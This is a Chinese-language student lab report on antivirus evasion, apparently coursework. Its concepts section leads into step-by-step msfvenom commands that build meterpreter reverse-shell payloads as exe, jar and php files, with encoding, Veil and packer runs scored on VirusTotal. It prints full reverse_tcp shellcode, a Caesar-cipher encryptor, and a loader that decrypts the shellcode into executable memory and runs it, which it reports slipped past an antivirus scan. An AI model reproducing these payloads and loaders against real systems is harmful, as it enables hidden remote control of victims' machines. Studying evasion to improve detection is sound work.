一、实验内容
1.学习总结
1)免杀基本概念
英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
2)免杀技术
修改特征码
修改校验和
花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
- 加壳免杀
利用特殊的算法,对 EXE、ELF、DLL 文件里的资源进行压缩或
者加密。压缩或加密之后的文件可以独立运行,解压或解密过程完全隐蔽,都在内存中完成。
- 内存免杀
2.问题回答
1)杀软是如何检测出恶意代码的?
签名匹配:最传统的检测方式,杀软维护一个已知恶意软件的签名数据库。当扫描文件或系统时,杀软会将扫描对象与这些签名进行比对,如果发现匹配,则认为该对象为恶意软件。
启发式分析:这种方法不依赖于已知的恶意软件签名,而是通过检查文件的行为特征、结构或代码模式来判断是否可能包含恶意行为。启发式分析可以帮助检测变种或未知的威胁。
行为监控:杀软可以监控应用程序的行为,如果某个程序执行了可疑操作,如未经授权修改系统文件、尝试连接到已知的恶意服务器等,杀软可能会标记该程序为潜在威胁。
沙箱技术:在虚拟环境中运行可疑文件,观察其行为,以判断是否为恶意软件。这种方法可以避免直接在主机上执行潜在危险的操作。
2)免杀是做什么?
“免杀”通常指的是设计或修改恶意软件的技术,使其能够避开或欺骗杀毒软件的检测机制,从而使得恶意软件能够在受保护的计算机系统中运行而不被发现。这涉及到绕过杀软的各种检测技术,包括但不限于签名检测、行为监控等。
3)免杀的基本方法有哪些?
加密:将恶意代码进行加密处理,使杀软无法直接读取原始代码,从而无法使用签名匹配技术检测。
多态性:每次感染时改变自身的代码形式,即使原始代码被检测到,变种也可能不会被发现。
混淆:通过对代码进行混淆处理,使得代码难以理解和分析,从而增加检测难度。
动态加载:将恶意功能部分存储在远程服务器上,只在需要时下载并执行,减少本地残留的痕迹。
利用合法软件漏洞:利用合法软件的安全漏洞,将恶意代码嵌入其中,这样即使杀软扫描也不会轻易发现异常。
二、实验过程
1.形成免杀效果参考基准
1)生成meterpreter可执行文件
输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.132 PORT=2408 -f exe > met20222316.exe
2)利用virustotal进行评价
将该文件放入virustotal进行评价,发现检出率为60/72,将这个比例作为参照,查看后续的免杀技术效果。
2.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1)生成exe文件和编码的exe文件
输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.61.132 LPORT=2408 -f exe > met-encoded20222316.exe
其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。
得到的检出率为60/72,基本没有变化。
输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.61.132 LPORT=2408 -f exe > met-10encoded20222316.exe
进行10次编码。其中-i 10表示编码10次。
得到的检出率为60/72,基本没有变化。说明这种文件生成和编码的模板的特征码已经基本都在库中了。
2)生成jar文件和编码的jar文件
生成jar文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.61.132 LPORT=2408 x>metjar20222316.jar
其中x>可以利用输出文件后缀名隐式指定文件类型。
得到的检出率均为34/66。
生成一份编码10次的jar文件。
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.61.132 LPORT=2408 x>met-encoded-jar20222316.jar
得到的检出率为34/64。
两次得到的检出率分别为为34/66和34/64,说明jar文件更难被识别出来。
3.生成php文件和编码的php文件
1)生成php文件
输入
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.61.132 LPORT=2408 x> metphp_20222316.php
得到的检出率为25/62。
2)生成一份编码10次的php文件
输入
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.61.132 LPORT=2408 x> met_encoded10_php_20222316.php
得到的检出率为10/62。
4.使用veil免杀工具
1)安装veil免杀工具
在安装veil的时候,一直出错。虚拟机卸了重装了好几次,依旧装不上,所以暂时借用了冉皓宁的虚拟机做实验。
2)使用veil
进入veil
输入
use 1
进入Evasion模块。
输入
list
查看所有可用的载荷种类
看到c/meterpreter/rev_tcp.py是第7个选项,输入
use 7
进行配置,输入以下信息
set LHOST 192.168.91.128
(反弹链接ip,虚拟机的ip)
set LPORT 2316
(设置端口)
generate
(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。
到它所说的目录下,可以看到已经生成好的文件
测试这个文件的检出率,发现是44/72,有一定的免杀效果。
5.使用C + shellcode编程。
1)用msfvenom工具来生成一个C语言的源代码格式的有效载荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2316 -f c
2)编写C文件并运行
用生成的shellcode编写一个c文件。
编译,得到exe文件。
i686-w64-mingw32-g++ 20222316.c -o 20222316.exe
文件的检出率为43/72,有一定的免杀效果。
6.使用加壳工具
1)使用压缩壳UPX
给上一个步骤生成的20222316.exe加一个压缩壳。
输入upx 20222316.exe -o 20222316upx.exe
测试检出率,发现是46/71,反而上升了,说明这个壳的特征已经被很广泛的记录。
2)使用加密壳Hyperion
依次输入
cp 20222316.exe /usr/share/windows-resources/hyperion/
(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion
(进入工作目录)
wine hyperion.exe -v 20222316.exe s20222316hyp.exe
(加密文件)
加密文件已生成。
测试检出率,发现是54/72,反而上升了,说明这个壳的特征已经被很广泛的记录。
7.通过组合应用各种技术实现恶意代码免杀
组合技术:msfvenom生成Shellcode数组,再使用凯撒加密对数组进行加密,将密文放到txt中,再编写C语言代码,从txt文件中读取密文,解密并运行Shellcode,最后生成.exe可执行文件。
1)编写20222316_shellcode.cpp并运行
#include <stdio.h>
#include<string.h>
//凯撒加密函数,适用于unsigned char数组
void caesarEncrypt(unsigned char *data, size_t length, int shift)
{
for (size_t i = 0; i < length; i++){
// 对每个字节进行位移
data[i]= (data[i] + shift) & 0xFF;
}
}
int main(){
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b"
"\x58\x20\x50\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x5b\x80\x68\x02\x00"
"\x09\x0c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
int shift =3; // 加密位移
printf("original: ");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x",buf[i]);
}
printf("\n");
caesarEncrypt(buf,510,shift);
printf("Encrypted:");
for (size_t i =0;i< 510; i++){
printf("\\x%02x",buf[i]);
}
printf("\n");
FILE *file = fopen("20222316_shellcode.txt", "w");
if (file != NULL) {
for (size_t i = 0; i < 510; i++) {
fprintf(file, "\\x%02x", buf[i]);
}
fprintf(file, "\n");
fclose(file);
}
else {
printf("Error opening file!\n");
}
return 0;
}
2)编写20222316_sc.cpp并运行
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 凯撒解密函数,适用于unsigned char数组
void caesarDecrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
// 对每个字节进行位移
data[i] = (unsigned char)((data[i] - shift + 256) % 256);
}
}
int main() {
int shift = 3; // 凯撒加密的位移值
unsigned char buf[511]; // 假设文件中的内容不超过510字节
char line[1024]; // 用于读取文件的临时缓冲区
// 打开文件
FILE *file = fopen("20222316_shellcode.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
// 读取文件内容到shellcode1数组中
size_t length = 0;
while (fgets(line, sizeof(line), file)) {
// 将读取的十六进制字符串转换为字节并存储在shellcode1中
for (size_t i = 0; line[i] != '\0' && line[i] != '\n'; i += 1) {
if (sscanf(&line[i], "\\x%02hhx", &buf[length]) == 1) {
length++;
}
}
}
fclose(file);
// 解密shellcode
caesarDecrypt(buf, length, shift);
// 输出解密后的shellcode
printf("Decrypted Shellcode:\n");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x", buf[i]);
}
printf("\n");
// 分配内存并设置为可执行
LPVOID exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将解密后的shellcode复制到分配的内存中
memcpy(exec, buf, sizeof buf);
// 执行shellcode
((void(*)())exec)();
return 0;
}
3)使用金山毒霸进行查杀
全部运行完成后共有五个文件及程序。
使用金山毒霸对该文件夹进行查杀
没有发现病毒程序。
7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
做不出来(T_T)。
三、问题及解决方案
- 问题1:下载veil时,显示 Error:404notFound。
解决方案:校园网不稳定,更换其他网络后顺利解决。
- 问题2:安装veil时,wine安装出错。(仍在解决中)
E: Unable to correct problems, you have held broken packages.
尝试方案:
- 在网上找了其他下载方法,依旧不行。
- 虚拟机卸了重装依旧是相同问题。
- 依据解决Unable to Correct Problems ‘You have Held Broken Packages’通过aptitude下载,依旧不行。
四、学习感悟、思考等
经过这次实验的学习,我对免杀技术有了更深的理解。在信息技术日益发展的今天,网络安全变得尤为重要。
使用Metasploit框架下的msfvenom工具生成不同类型的可执行文件时,我们注意到不同格式的文件有不同的检测率。比如,EXE文件即使多次编码,其检出率依然较高;而JAR文件的检出率较低,PHP文件经过编码后检出率进一步下降。这说明了不同格式文件的特性对检出率有显著影响。
尝试使用加壳工具如UPX和Hyperion对生成的可执行文件进行加壳,结果显示检出率反而有所上升。这说明当前杀毒软件对于常见壳的特征识别已经非常成熟,这也提示我们在实际应用中,单一的免杀手段往往不够有效,需要结合多种技术手段才能达到更好的效果。例如,在生成shellcode后对其进行加密,并在运行时解密执行,这样的组合技术不仅考验了我们的编程能力,还增强了代码的隐蔽性和复杂度。
最后,虽然免杀技术本身具有一定的争议性,但在合法合规的前提下,它可以帮助我们更好地理解系统安全的薄弱环节,进而采取措施加强防护。
参考资料
- 0x23_MAL_免杀原理与实践.md
- 免杀Payload生成工具Veil的下载与使用
- Debian(Ubuntu/Kali)下wine的从安装、使用和卸载
- 解决Unable to Correct Problems ‘You have Held Broken Packages’